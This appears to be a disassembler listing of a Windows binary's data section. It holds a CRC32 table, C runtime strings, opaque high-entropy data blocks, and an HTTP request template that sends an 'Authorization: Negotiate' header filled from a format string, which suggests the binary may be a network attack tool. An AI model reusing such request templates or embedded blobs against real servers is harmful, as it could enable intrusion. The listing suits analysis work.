4C69105Eh, 0D56041E4h, 0A2677172h dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh, 0E10E9818h dd 7F6A0DBBh, 86D3D2Dh, 91646C97h, 0E6635C01h, 6B6B51F4h dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh, 1B01A57Bh dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h, 8BBEB8EAh dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h, 0FBD44C65h dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h, 0E40ECF0Bh dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h, 8708A3D2h dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh, 196C3671h dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah, 67DD4ACCh dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h, 0D6D6A3E8h dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch, 26D930Ah dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh, 0E5D5BE0Dh dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h, 68DDB3F8h dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h, 18B74777h dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch, 8F659EFFh dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh aCyber db 'CYBER',0 ; DATA XREF: seg000:00404F83o ; seg000:00405066o ... align 4 aCyber_0 db 'CYBER',0 ; DATA XREF: seg000:0040538Ao ; seg000:004053C6o ... align 10h aGetHttp1_0Host db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_40D066+62o db 'Host: %s',0Dh,0Ah db 'Authorization: Negotiate %s',0Dh,0Ah db 0Dh,0Ah,0 align 10h dbl_428690 dq 1.388888888888889e-2 ; DATA XREF: sub_40CE7B+2Fr dbl_428698 dq 1.666666666666667e-1 ; DATA XREF: sub_40CE7B+15r dbl_4286A0 dq 1.333333333333333 ; DATA XREF: sub_40CEC7+7Ar dword_4286A8 dd 0 ; DATA XREF: sub_40D066+4Do ; sub_40D3A6+57o ... flt_4286AC dd 5.0e-1 ; DATA XREF: sub_40D83A+3A5r dd 0 dd 3F500000h dbl_4286B8 dq -1.52587890625e-4 ; DATA XREF: sub_417B38+3D3r dbl_4286C0 dq 3.0517578125e-4 ; DATA XREF: sub_417B38+3B4r dbl_4286C8 dq -3.0517578125e-4 ; DATA XREF: sub_417B38+332r ; sub_417B38+396r dbl_4286D0 dq 1.52587890625e-4 ; DATA XREF: sub_417B38+26Dr dbl_4286D8 dq -1.739501953125e-3 ; DATA XREF: sub_417B38+248r ; sub_417B38+2D1r ... dbl_4286E0 dq 3.11279296875e-3 ; DATA XREF: sub_417B38+E1r dbl_4286E8 dq 3.0517578125e-5 ; DATA XREF: sub_417B38+AEr ; sub_417B38+137r ... dbl_4286F0 dq 6.103515625e-5 ; DATA XREF: sub_417B38+93r ; sub_417B38+2FDr dbl_4286F8 dq 2.288818359375e-3 ; DATA XREF: sub_417B38+21r dbl_428700 dq -3.0517578125e-5 ; DATA XREF: sub_418872+2Br flt_428708 dd 9.765625e-4 ; DATA XREF: sub_41A6BE+1B0r flt_42870C dd 8.0 ; DATA XREF: sub_41A6BE+1AAr flt_428710 dd 0.0 ; DATA XREF: sub_41A6BE+16Fr flt_428714 dd 1.0e-3 ; DATA XREF: sub_41A6BE+166r dbl_428718 dq 1.0 ; DATA XREF: sub_41C869+6Cr ; sub_41C9AF+6Cr ... dword_428720 dd 0FFFFFFFFh, 41DC2Ah, 41DC3Eh ; DATA XREF: seg000:0041DB58o a__global_heap_ db '__GLOBAL_HEAP_SELECTED',0 ; DATA XREF: seg000:0041DF38o align 4 a__msvcrt_heap_ db '__MSVCRT_HEAP_SELECT',0 ; DATA XREF: seg000:0041DEF9o align 4 byte_42875C db 6 ; DATA XREF: sub_41F8BF:loc_41F916r db 2 dup(0), 6 dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h dd 50h, 38282000h, 8075850h, 30303700h, 75057h, 8202000h dd 0 dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h dd 8000008h, 7000800h, 8 aNull: ; DATA XREF: seg002:off_43F1A4o unicode 0, <(null)>,0 align 4 aNull_0 db '(null)',0 ; DATA XREF: seg002:off_43F1A0o align 10h a_yn db '_yn',0 a_y1 db '_y1',0 a_y0 db '_y0',0 aFrexp db 'frexp',0 align 4 aFmod db 'fmod',0 align 4 a_hypot db '_hypot',0 align 4 a_cabs db '_cabs',0 align 4 aLdexp db 'ldexp',0 align 4 aModf db 'modf',0 align 4 aFabs db 'fabs',0 align 4 aFloor db 'floor',0 align 4 aCeil db 'ceil',0 align 4 aTan db 'tan',0 aCos db 'cos',0 aSin db 'sin',0 aSqrt db 'sqrt',0 align 4 aAtan2 db 'atan2',0 align 10h aAtan db 'atan',0 align 4 aAcos db 'acos',0 align 10h aAsin db 'asin',0 align 4 aTanh db 'tanh',0 align 10h aCosh db 'cosh',0 align 4 aSinh db 'sinh',0 align 10h aLog10 db 'log10',0 align 4 aPow db 'pow',0 aExp db 'exp',0 ; DATA XREF: seg002:off_43F41Co dbl_428880 dq 0.0 ; DATA XREF: sub_42157F+8Cr ; sub_42157F+ACr ... dbl_428888 dq 4.195835e6 ; DATA XREF: sub_421A94+Fr dbl_428890 dq 3.145727e6 ; DATA XREF: sub_421A94+6r aIsprocessorfea db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_421AD2+Fo align 4 aKernel32 db 'KERNEL32',0 ; DATA XREF: sub_421AD2o align 10h aE000 db 'e+000',0 ; DATA XREF: sub_421BF9+93o align 4 dword_4288C8 dd 0FFFFFFFFh, 4222E4h, 4222EEh, 0 ; DATA XREF: sub_42227D+5o dword_4288D8 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_4223AC+5o dd offset loc_42246A align 8 dd offset sub_422448 dd offset sub_422452 dword_4288F0 dd 0FFFFFFFFh, 42269Ah, 42269Eh, 0 ; DATA XREF: sub_4224E2+5o dword_428900 dd 0FFFFFFFFh, 4226FCh, 422705h, 0 ; DATA XREF: sub_4226A6+5o dword_428910 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_42277C+5o dd offset loc_4227CD align 10h dd offset loc_4227B9 dd offset loc_4227BD dword_428928 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_4227D2+5o dd offset loc_422823 align 8 dd offset loc_42280F dd offset loc_422813 dword_428940 dd 2 dup(0) ; DATA XREF: seg000:00422DD9o ; seg000:00423F70o ... dword_428948 dd 0FFFFFFFFh, 422EB3h, 422EB7h, 0FFFFFFFFh, 422F67h, 422F6Bh ; DATA XREF: seg000:00422DA8o dd 746E7572h, 20656D69h, 6F727265h, 2072h, 534F4C54h, 72652053h dd 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0 dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h dd 65682065h, 0A0D7061h, 0 aR6027NotEnough db 'R6027',0Dh,0Ah db '- not enough space for lowio initialization',0Dh,0Ah,0 align 10h aR6026NotEnough db 'R6026',0Dh,0Ah db '- not enough space for stdio initialization',0Dh,0Ah,0 align 4 aR6025PureVirtu db 'R6025',0Dh,0Ah db '- pure virtual function call',0Dh,0Ah,0 align 10h aR6024NotEnough db 'R6024',0Dh,0Ah db '- not enough space for _onexit/atexit table',0Dh,0Ah,0 align 4 aR6019UnableToO db 'R6019',0Dh,0Ah db '- unable to open console device',0Dh,0Ah,0 align 4 aR6018Unexpecte db 'R6018',0Dh,0Ah db '- unexpected heap error',0Dh,0Ah,0 align 4 aR6017Unexpecte db 'R6017',0Dh,0Ah db '- unexpected multithread lock error',0Dh,0Ah,0 align 4 aR6016NotEnough db 'R6016',0Dh,0Ah db '- not enough space for thread data',0Dh,0Ah,0 aAbnormalProgra db 0Dh,0Ah db 'abnormal program termination',0Dh,0Ah,0 align 4 aR6009NotEnough db 'R6009',0Dh,0Ah db '- not enough space for environment',0Dh,0Ah,0 aR6008NotEnough db 'R6008',0Dh,0Ah db '- not enough space for arguments',0Dh,0Ah,0 align 10h aR6002FloatingP db 'R6002',0Dh,0Ah ; DATA XREF: seg002:off_43F86Co db '- floating point not loaded',0Dh,0Ah,0 align 4 aMicrosoftVisua db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_4238CD+119o align 10h asc_428C10 db 0Ah ; DATA XREF: sub_4238CD+F1o db 0Ah,0 align 4 aRuntimeErrorPr db 'Runtime Error!',0Ah ; DATA XREF: sub_4238CD+D3o db 0Ah db 'Program: ',0 align 10h a___ db '...',0 ; DATA XREF: sub_4238CD+BFo aProgramNameUnk db '<program name unknown>',0 ; DATA XREF: sub_4238CD+7Do align 10h dword_428C50 dd 0FFFFFFFFh, 424030h, 424034h ; DATA XREF: seg000:00423F3Co aSunmontuewedth db 'SunMonTueWedThuFriSat',0 align 4 aJanfebmaraprma db 'JanFebMarAprMayJunJulAugSepOctNovDec',0 align 4 aTz db 'TZ',0 ; DATA XREF: sub_424A3C+Ao align 10h aGetlastactivep db 'GetLastActivePopup',0 ; DATA XREF: sub_4250D1+3Do align 4 aGetactivewindo db 'GetActiveWindow',0 ; DATA XREF: sub_4250D1+35o aMessageboxa db 'MessageBoxA',0 ; DATA XREF: sub_4250D1+24o a1Qnan db '1#QNAN',0 ; DATA XREF: sub_425912:loc_425A07o align 4 a1Inf db '1#INF',0 ; DATA XREF: sub_425912+D8o align 10h a1Ind db '1#IND',0 ; DATA XREF: sub_425912+C7o align 4 a1Snan db '1#SNAN',0 ; DATA XREF: sub_425912+ADo align 10h dword_428CF0 dd 0FFFFFFFFh, 42630Ah, 42630Eh, 0FFFFFFFFh, 426379h, 42637Dh ; DATA XREF: sub_426153+5o dd 428E48h off_428D0C dd offset loc_4268B8 ; DATA XREF: sub_4266C0+4Do ; sub_4268D4+Co dd offset sub_42677E dd offset sub_42689B aStringTooLong db 'string too long',0 ; DATA XREF: sub_4266C0+1Eo dd offset dword_428E80 off_428D2C dd offset loc_4267E5 ; DATA XREF: sub_42671A+4Eo ; sub_4267A8+11o ... dd offset sub_42677E dd offset sub_42678B dword_428D38 dd 0FFFFFFFFh ; DATA XREF: sub_42671A+3Br ; sub_426801+34r dd offset dword_428ED0 off_428D40 dd offset loc_4269A0 ; DATA XREF: sub_4268EC+4Do ; sub_4269BC+Co dd offset sub_42677E dd offset sub_426983 aInvalidStringP db 'invalid string position',0 ; DATA XREF: sub_4268EC+1Eo dd offset dword_428F00 off_428D68 dd offset sub_426AA4 ; DATA XREF: sub_426AC0+8o ; sub_426AFD+8o ... dd offset sub_426B5D aUnknownExcepti db 'Unknown exception',0 ; DATA XREF: sub_426B5D+7o align 4 dd offset dword_428F48 off_428D88 dd offset loc_426B7F ; DATA XREF: sub_426B6Ao ; seg002:off_43FD18o ... align 10h dword_428D90 dd 0E06D7363h, 1, 2 dup(0) ; DATA XREF: sub_426B9B+Eo dd 3, 19930520h, 2 dup(0) dword_428DB0 dd 0FFFFFFFFh, 426D4Ch, 426D50h, 0FFFFFFFFh, 426DC9h, 426DCDh ; DATA XREF: sub_426C4A+5o dword_428DC8 dd 0FFFFFFFFh, 426FC1h, 426FC5h, 0FFFFFFFFh, 42701Eh, 427022h ; DATA XREF: sub_426ED5+5o dd 43FD18h, 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) off_428DF8 dd offset off_43FD30 ; DATA XREF: seg001:00428E2Co ; seg001:00428E60o ... dd 1, 0 dd 0FFFFFFFFh, 2 dup(0) off_428E10 dd offset off_43FD50 ; DATA XREF: seg001:00428E28o dd 2, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_428E10 dd offset off_428DF8 dd offset dword_428DC8+18h dd 0 db 0 ; DATA XREF: seg001:00428E58o db 0 db 0 db 0 db 0 db 0 db 0 db 0 dd 3, 428E28h, 3 dup(0) dd offset off_43FD50 dd offset unk_428E38 align 10h dd offset off_428DF8 dd offset dword_428DC8+18h dword_428E68 dd 4 dup(0) ; DATA XREF: seg001:00428E90o dd 2, 428E60h dword_428E80 dd 3 dup(0) ; DATA XREF: seg001:00428D28o dd offset off_43FD30 dd offset dword_428E68+8 align 8 off_428E98 dd offset off_43FD70 ; DATA XREF: seg001:00428EB0o dd 2, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_428E98 dd offset off_428DF8 dd offset dword_428DC8+18h dword_428EBC dd 3 dup(0) ; DATA XREF: seg001:00428EE0o dd 3, 428EB0h dword_428ED0 dd 3 dup(0) ; DATA XREF: seg001:00428D3Co dd offset off_43FD70 dd offset dword_428EBC+4 dd offset dword_428DC8+18h dword_428EE8 dd 4 dup(0) ; DATA XREF: seg001:00428F10o dd 1, 428EE4h dword_428F00 dd 3 dup(0) ; DATA XREF: seg001:00428D64o dd offset off_43FD18 dd offset dword_428EE8+8 dd 0 off_428F18 dd offset off_43FD90 ; DATA XREF: seg001:00428F30o dd 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) dd offset off_428F18 dd 0 db 0 ; DATA XREF: seg001:00428F58o db 0 db 0 db 0 db 0 db 0 db 0 db 0 dd 1, 428F30h dword_428F48 dd 3 dup(0) ; DATA XREF: seg001:00428D84o dd offset off_43FD90 dd offset unk_428F38 align 10h dd 0FFFFFFFFh, 4270A4h, 0 dd offset sub_42709C dword_428F70 dd 19930520h, 2, 428F60h, 4 dup(0) ; DATA XREF: seg000:loc_4270BBo dd 0FFFFFFFFh, 4270C8h, 0 dd offset loc_4270D0 dword_428F9C dd 19930520h, 2, 428F8Ch, 4 dup(0) ; DATA XREF: seg000:loc_4270D8o dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 4 dup(0) dd offset loc_40D60C align 10h dd 2 dup(1), 428FC8h dword_428FEC dd 19930520h, 2, 428FB8h, 1, 428FD8h, 3 dup(0) ; DATA XREF: seg000:loc_4270E4o dd offset off_43FD18 dd 0 dd 0FFFFFFFFh, 0 dd 0Ch, 426AFDh, 2 dup(0) dd offset off_43FD30 dd 0 dd 0FFFFFFFFh, 0 dd 1Ch, 426801h, 2 dup(0) dd offset off_43FD50 dd 0 dd 0FFFFFFFFh, 0 dd 1Ch, 4268D4h, 0 dword_429068 dd 3, 429048h, 429028h, 429008h ; DATA XREF: seg001:00429084o dword_429078 dd 0 ; DATA XREF: sub_4266C0+47o ; sub_42689B+12o dd offset sub_42685E dd 0 dd offset dword_429068 dword_429088 dd 19930520h, 1, 4290A8h, 5 dup(0) ; DATA XREF: seg000:loc_4270F8o dd 0FFFFFFFFh, 4270F0h dword_4290B0 dd 19930520h, 1, 4290D0h, 5 dup(0) ; DATA XREF: seg000:loc_42710Co dword_4290D0 dd 0FFFFFFFFh, 427104h, 2, 429028h, 429008h, 0 ; DATA XREF: seg001:004290F4o dword_4290E8 dd 0 ; DATA XREF: sub_42678B+12o dd offset sub_4267A8 dd 0 dd offset dword_4290D0+8 dword_4290F8 dd 19930520h, 1, 429118h, 5 dup(0) ; DATA XREF: seg000:loc_427120o dd 0FFFFFFFFh, 427118h dword_429120 dd 19930520h, 1, 429140h, 5 dup(0) ; DATA XREF: seg000:loc_427134o dd 0FFFFFFFFh, 42712Ch dword_429148 dd 19930520h, 1, 429168h, 5 dup(0) ; DATA XREF: seg000:loc_427148o dd 0FFFFFFFFh, 427140h, 0 dd offset off_43FD70 dd 0 dd 0FFFFFFFFh, 0 dd 1Ch, 4269BCh, 0 dword_429190 dd 3, 429170h, 429028h, 429008h ; DATA XREF: seg001:004291ACo dword_4291A0 dd 0 ; DATA XREF: sub_4268EC+47o ; sub_426983+12o dd offset sub_426946 dd 0 dd offset dword_429190 dword_4291B0 dd 19930520h, 1, 4291D0h, 5 dup(0) ; DATA XREF: seg000:loc_42715Co dd 0FFFFFFFFh, 427154h dword_4291D8 dd 19930520h, 1, 4291F8h, 5 dup(0) ; DATA XREF: seg000:loc_427170o dd 0FFFFFFFFh, 427168h, 2942Ch, 2 dup(0) dd 294A2h, 281DCh, 29434h, 2 dup(0) dd 294B8h, 281E4h, 29250h, 2 dup(0) dd 29D38h, 28000h, 5 dup(0) dd 13EF469Bh, 0A084B9CBh, 6EF58751h, 44176B64h, 0DD3AE4B2h dd 35645917h, 0C978E84Ah, 0E6E410A1h, 0DEFA2786h, 0E229EAEh dd 82E1EA93h, 0A49AF37Ah, 82A12F95h, 955E215Dh, 12AC3E9h dd 7E1FAF7Bh, 5C21CA67h, 62DBB35Ah, 784FD758h, 8A1D234h dd 2E9AAAB9h, 0EC793655h, 2D225CAAh, 0A5D7F39Ch, 1C63A393h dd 121461DEh, 0EA42F371h, 5EECD96Fh, 0F391D945h, 0DCB0761Fh dd 8D16FA31h, 0E95ED6E1h, 4546C261h, 7A4CE1F5h, 0B4D4AA58h dd 314548E9h, 0A68E7A84h, 9C49BEAEh, 0BC176198h, 9107FAA8h dd 0F2245E1Ah, 64781411h, 5A1D8BBAh, 0FBC62A33h, 0C829E87Ch dd 8F740846h, 0A8BC2EEDh, 42D66ACBh, 211E662Dh, 0D05796E4h dd 39088F92h, 0BCC63FC6h, 23F48D44h, 0BC4DB500h, 0D41997A5h dd 26197169h, 236B54CCh, 0B9056BD7h, 29DF2438h, 4627B937h dd 4B3EBC8Bh, 9286B94Dh, 0C3CADE2Dh, 9B2C75E4h, 0AB9F341Eh dd 0DFE46E87h, 98DCE44h, 8F4BF7EDh, 0E251DD9Dh, 6E9CA31Fh dd 412F46C7h, 0FDE9D3EDh, 0C6A5D4FBh, 0ECA7327Dh, 58F6CD0Ah dd 0B19021D1h, 0EA1DD896h, 77D55EB9h, 0B62FC51Eh, 0AAE5788Ch dd 0D5FABA0Bh, 0E50A891Eh, 0C4064A95h, 957C0CE5h, 0E9A61B2h dd 98B59803h, 6BF997B9h, 3E49F33Ch, 3346D715h, 0B8F644Bh dd 37B7D7EEh, 35B1C02Eh, 888FF56Dh, 0D08D71F7h, 0A3132543h dd 0D7579BFEh, 2E46356Fh, 28249DA5h, 9B392801h, 38A7156Bh dd 0E8E148ACh, 4D6C58C9h, 0D23C1798h, 74FB4C20h, 45691B81h dd 25D1A8BEh, 82C90D06h, 10753E56h, 0C8ADD52Ch, 95A00059h dd 6264C84Ah, 88B0679Ch, 20AB1921h, 865AB3FCh, 26E63D19h dd 6A696E21h, 8735AA0Eh, 1D3DC5B6h, 0 dd 0F1DF2F34h, 0 dd 0BDE246DDh, 367943h, 5CAA897Eh, 5D5F92E4h, 0F84E4411h dd 0F2AAB23h, 0EF490A33h, 656C367Dh, 0D9946C09h, 49E3E08h dd 0A89560A3h, 589A8DE0h, 6334FC4Ch, 0CAEB0E66h, 76D491DFh dd 0A78313A6h, 0D9BEC0A7h, 0C35B866Fh, 3B1F59FDh, 179AF286h dd 644A5EECh, 0 dd 25870006h, 79EBE9BAh, 7C54D76Eh, 0C1D74669h, 0A21D9AC2h dd 0B2A70087h, 6299E01Fh, 41000Ah, 8019A414h, 0B33D94C8h dd 0E335h, 3CED9E5Dh, 0A2EAC5E4h, 0E0DEh, 4DB80349h, 15A8FCh dd 93D500AFh, 8DDF6572h, 98F5458Ch, 2E0006h, 0DE058312h dd 0D0A9029Eh, 0D87132h, 0D2BF0060h, 34C0820Dh, 0EE1BC613h dd 0C6F01F9h, 1750000h, 0E4204DB2h, 76B8ED55h, 0A4702793h dd 5A406F84h, 0F5D3h, 449C01B9h, 0B3B4A011h, 0B6954590h dd 0DEC20D72h, 22ED090Fh, 6900BEh, 7C4BEFh, 44AE4164h dd 0E6F74971h, 7C0000h, 0E3A7E93Dh, 1E4A8B6Ch, 4EE446h dd 9D5E027Ch, 0DA12ABCEh, 0D2A55DD1h, 13B00ADh, 252E493h dd 734B122h, 4953D450h, 0D6C9EE1Eh, 78F384h, 0F61A0169h dd 3D500A60h, 0AAA7E0C4h, 76A5h, 0E715003Dh, 0AE1F99F3h dd 3CA0EAh, 274A030Eh, 914ABCD8h, 5B0CEE10h, 785A7B9Ch dd 0FBF363D0h, 1560000h, 847C633Ah, 0F66F3303h, 10DB0FB5h dd 0D1ACB9DBh, 8B28h, 0E4CA0177h, 0A0816AAAh, 5BD6F5B5h dd 0A417F04Ch, 4B87h, 9DBC0385h, 5CF14331h, 3FB6464h, 6818EAA6h dd 1E5F67EFh, 5A0052h, 44EBD761h, 0E78E9393h, 0CB1DA03Bh dd 1D50000h, 884F1D28h, 2FED1743h, 0DADF6DB5h, 3520000h dd 0B6B56C0Eh, 0A50DC2E2h, 0BC851E33h, 360A08h, 0D08401CBh dd 0A99BCB6Eh, 476BE851h, 0A2F5h, 3F910264h, 0AA6BDF16h dd 0DCD0A6h, 97030248h, 8F98EAE8h, 0DE1406E6h, 58FCh, 0A4C90198h dd 5588A16Fh, 5535CDBAh, 4B8085E7h, 10C0000h, 5365ED3Ah dd 0B7D53F2h, 62AB0F7Bh, 2B85DF5Eh, 16C0000h, 0C8F8D7C6h dd 0D011EF12h, 9AF94F57h, 0F9B3h, 22801DFh, 0AFFAD384h dd 3A0A98F9h, 1EF1D2h, 1E9200B0h, 0CB856416h, 0E6270DCEh dd 2470000h, 0AE722297h, 94C3844Ah, 0E0593454h, 53F97360h dd 0B68A2537h, 8F0000h, 0F6E4D0B8h, 0DA1676ABh, 0B533934Ah dd 4D3D65A0h, 7CC6F1D2h, 21A0000h, 170B7C60h, 0CDF386C8h dd 9C86883Fh, 0F6DD12Ch, 9B781650h, 0C321BA9Bh, 45680927h dd 83A1BDB3h, 86A7B428h, 7A00DEh, 593CB1ECh, 6EF6CD75h dd 775864B5h, 4C7B6B74h, 0BB647E47h, 3970085h, 0B5A7CC15h dd 924461F2h, 490071h, 36949A4Eh, 8134AEBEh, 0ADA4E927h dd 2AB0000h, 0E633022h, 200BA9CFh, 4D0000h, 92E52839h dd 2861173Dh, 0D9D138h, 0F6C1035Bh, 0F455641Eh, 5DC5817Ah dd 2F0B6B1h, 0B5A7E3h, 0E9470351h, 64A7B863h, 0B67C2069h dd 0ECE2EEEEh, 0E7Bh, 462F008Ch, 0EBEC9BC3h, 572045A9h dd 0CC4B84D9h, 13A00FDh, 0CF43F56h, 0F8F7BE4Eh, 1E7888D6h dd 0B77B47D4h, 5F00FBh, 69F08E0h, 0E309F861h, 16F7h, 0E51D01D6h dd 0D794C201h, 2A0521FBh, 0B1E05EE2h, 13F0000h, 0BB79FFEh dd 0B35059A4h, 0F0338132h, 0E228h, 7AE5015Bh, 0D89A511Fh dd 0B389ADFBh, 0C5009Fh, 0CC4C7981h, 88C82E0Fh, 0BC00AFh dd 0FE1B2168h, 2CE8466Ah, 0B6A32321h, 7ADA5E19h, 910482AAh dd 0BB0000h, 849C440Fh, 0B1381D9Dh, 5DAEC43Fh, 61A8739Ah dd 0D2B2B14Eh, 0E65227h, 41F700D3h, 2B226B4Eh, 0A76DAF65h dd 558738h, 177300C9h, 0AD1642AFh, 5F75BCD6h, 0F27D9957h dd 3100000h, 2093AEF2h, 0B0AE323Ah, 82AF19FEh, 0E2B7h dd 0BDD002E3h, 7C398BCAh, 0DF44EB33h, 2228BDB4h, 8E265EFh dd 7065B1h, 0B3FE0383h, 415A7F0h, 0E45FE89Ah, 0B805BA9Fh dd 0C664CCD9h, 761B9E74h, 0F40000h, 8F85FA0Ch, 8FABF110h dd 0E8BFD1AFh, 0EE6B3E55h, 7D95A792h, 17666803h, 16B0000h dd 7179B68Ch, 88A655D9h, 0FA494F32h, 2990000h, 7F3888A3h dd 0AB81493Eh, 0D7315Fh, 0EEE2CE60h, 2D003E1Dh, 3B423Ch dd 0E07E029Ah, 80C1B40Dh, 719791A7h, 58541925h, 9B03E2B6h dd 99E085DAh, 0A8690Eh, 0C73700EFh, 228211D1h, 8EBEAB20h dd 151002Fh, 3D9ACD2Ah, 487DB82Fh, 0E301CDE1h, 5D4E18C6h dd 1F23DDC6h, 0A2A400h, 0B36B020Ch, 98AF530Dh, 1586h, 5FF40206h dd 911398E2h, 0EEDCF5h, 414C019Bh, 54135329h, 7D755FE9h dd 266EB4Bh, 37E0000h, 87675FBh, 8C64DFF8h, 9E553DFh, 4B8Fh dd 0B01302AEh, 0ADE1E9F6h, 65D6D72Ch, 9598901h, 0BB5737h dd 0E6101BBh, 0B12A6D7Fh, 0D036B067h, 9678AAh, 0C04B00EAh dd 78374CB9h, 0A873499Eh, 606A7E23h, 2000000h, 2D9C6E4Ch dd 0B11EAC36h, 0C8C22B56h, 1F90000h, 0AC1E528Dh, 0F8D18D6h dd 8D36h, 428E0365h, 2D31F89Dh, 551509E8h, 78EDCB42h, 25E0051h dd 96B809A6h, 0A813E8F2h, 485997AEh, 4E0063h, 0D6F66900h dd 0CBFE288Dh, 22C9D676h, 61D9A3CEh, 0F1E3h, 0A9530314h dd 0CC76A407h, 3E8A92Eh, 15D0076h, 5246F466h, 118968C6h dd 0A82EB4h, 688900B2h, 7510DF76h, 0F7440B75h, 141A4B7Ch dd 48C646AAh, 14FA4F9Ch, 9CCFB9h, 0D2690389h, 97431B4Ch dd 0C4235E0h, 0DD93DDDEh, 0EEC657B7h, 26B00A0h, 71AAE5DDh dd 9D150698h, 0DA07569Ah, 0A29FE80Eh, 989F27h, 316D03B6h dd 947BA3B3h, 7E6BC4h, 0EA3B0152h, 0C77D6A9Ah, 0D3B7D007h dd 8ED492F5h, 0FC5690Dh, 2870000h, 0CF5F811Dh, 5F2C7EC0h dd 703100C5h, 1700079h, 8D8D7932h, 0B54C87BDh, 849333E8h dd 9EC40100h, 1FA0000h, 77EB7461h, 40B2A642h, 0A6A1030Eh dd 0A9E1666Ah, 0C814h, 0C0520210h, 63F2B57Ch, 0F822E5C8h dd 2CC0071h, 44A8B03Ch, 0CC609A6Ah, 1D8002Bh, 0CB7430B6h dd 87CDAC4Ch, 8812DED4h, 0C4732CBCh, 48A2C23Fh, 0CD6Ah dd 6E7201BEh, 0D6A5ABCFh, 0D9DCB2C3h, 0C78325h, 6C1701AFh dd 542A90B4h, 97F942BAh, 0C5433123h, 10800DBh, 0BF865DA9h dd 34E9B0F9h, 4B970D17h, 9FD339h, 31E701DEh, 6EADE3BBh dd 1A91F90h, 1500000h, 1EAC77E7h, 0F76B9F10h, 0BBE92DADh dd 951E8859h, 415A258Bh, 931F46h, 0E6CB020Ah, 891CD82Ch dd 8A7C1290h, 208007Ah, 8E8867C5h, 0B37F350Eh, 0EA60h dd 6320378h, 78D86F5Ah, 0C990D51Ch, 37500EDh, 56FE54A7h dd 79D21ADDh, 0FE78E460h, 22C0000h, 0D4F8EF58h, 145E1B44h dd 8C064548h, 0FC00B8h, 146D33F7h, 0CDF56B23h, 0F50032h dd 2FF2CD54h, 1901h, 0DC85018Bh, 9F8AEC25h, 